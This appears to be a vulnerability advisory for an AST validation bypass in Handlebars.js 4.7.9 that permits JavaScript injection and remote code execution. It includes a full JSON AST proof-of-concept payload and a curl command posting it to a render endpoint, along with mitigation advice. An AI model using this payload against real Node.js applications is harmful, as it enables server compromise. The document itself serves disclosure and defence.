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Handlebars.compile() and Handlebars.precompile() accept a pre-parsed Abstract Syntax Tree (AST) alongside standard template strings. Although version 4.7.9 introduced validation logic to screen input AST structures, it only verifies specific nodes such as PathExpression, NumberLiteral, and BooleanLiteral. Consequently, numerous other AST values—including Program.blockParams.length—bypass validation entirely and are written directly into the generated JavaScript code unmitigated. If a web application directly passes untrusted user input, such as a parsed JSON request body, into compile() or precompile() as an object rather than a string, malicious actors can inject arbitrary JavaScript expressions. When the server renders the compiled template, or when the precompiled template loads elsewhere, the injected payload executes immediately within the context of the running Node.js process, leading to severe remote code execution vulnerabilities with application-level privileges.
DailyCVE Form:
Platform: Handlebars.js
Version: 4.7.9
Vulnerability: AST Validation Bypass
Severity: Critical
date: 2026-10-06
Prediction: Patched
What Undercode Say:
Analytics showing how Handlebars parser flaws permit JavaScript injection through unchecked AST property parsing.
Exploit: (Educational Purposes!)
{
"text": {
"type": "Program",
"loc": { "start": { "line": 1, "column": 0 } },
"body": [
{
"type": "BlockStatement",
"path": {
"type": "PathExpression", "data": false, "depth": 0,
"parts": ["missingHelper"], "original": "missingHelper",
"loc": { "start": { "line": 1, "column": 0 } }
},
"params": [],
"program": {
"type": "Program",
"blockParams": {
"length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()"
},
"body": [],
"loc": { "start": { "line": 1, "column": 0 } }
},
"openStrip": { "open": false, "close": false },
"inverseStrip": { "open": false, "close": false },
"closeStrip": { "open": false, "close": false },
"loc": { "start": { "line": 1, "column": 0 } }
}
]
}
}
curl -s -X POST 'http://127.0.0.1:2123/api/render' \ -H 'Content-Type: application/json' --data-binary @poc.json
Protection: from this CVE
Ensure input validation guarantees that parameters passed to Handlebars.compile() or Handlebars.precompile() are strictly strings and never plain objects or deserialized JSON structures. Alternatively, deploy the runtime-only build (handlebars/runtime) in production environments where dynamic template compilation is unnecessary.
Impact:
Untrusted input handling can result in arbitrary remote code execution inside the Node.js application process, jeopardizing underlying system security and server integrity.
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Sources:
Reported By: github.com
Extra Source Hub:
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